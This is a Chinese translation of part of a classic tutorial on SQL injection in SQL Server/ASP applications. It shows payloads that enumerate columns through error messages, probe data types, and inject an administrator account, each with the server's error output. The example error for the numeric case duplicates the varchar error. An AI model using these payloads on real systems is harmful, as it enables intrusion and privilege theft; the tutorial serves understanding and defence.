网络编程
位置:首页>> 网络编程>> 数据库>> SQL Server应用程序的高级Sql注入(3)

SQL Server应用程序的高级Sql注入(3)

作者:Chris Anley luoluo 来源: * 八进制 发布时间:2009-04-11 16:54:00 

标签:SQL,Server,应用程序,Sql注入

[通过错误信息获取信息]

这个技术是David Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。

为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的:

create table users( id int, 
username varchar(255), 
password varchar(255), 
privs int 

并且插入了下面的用户:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) 
insert into users values( 0, 'guest', 'guest', 0x0000 ) 
insert into users values( 0, 'chris', 'password', 0x00ff ) 
insert into users values( 0, 'fred', 'sesame', 0x00ff ) 

我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,'priv'字段的重要性还不清楚。攻击者可能插入'1',给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。

对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。

(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)

首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用'select'语句的'having'子句:

username: ' having 1=1 --

这会引起下面的错误(译者注:having字句必须和GROUP BY或者聚合函数一起配合使用,否则出错):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35

所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上'group by'子句继续得到其他列名,如下:

username: ' group by users.id having 1=1 --

(结果产生这样的错误)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最后攻击者得到了下面的'username':

' group by users.id, users.username, users.password, users.privs having 1=1--

这句没有错误,相当于:

select * from users where username = ''

所以攻击者知道了查询只是关于'users'表的,并且顺序使用了列'id,username,password,rpivs'。

如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:

Username: ' union select sum(username) from users--

这利用了SQL-Server试图在确定两行是否相同之前先执行'sum'子句的特性,计算文本域的和会返回这样的信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

它告诉我们'username'字段的类型是'varchar'。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

我们可以用这个技术来大概地确定数据库内各列的类型。

这样攻击者就可以写出一个格式完美的'insert'语句:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

但是,这个技术的潜力不止这些。攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单:

select * from master..sysmessages

检查这个清单可以发现很多有趣的信息。

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com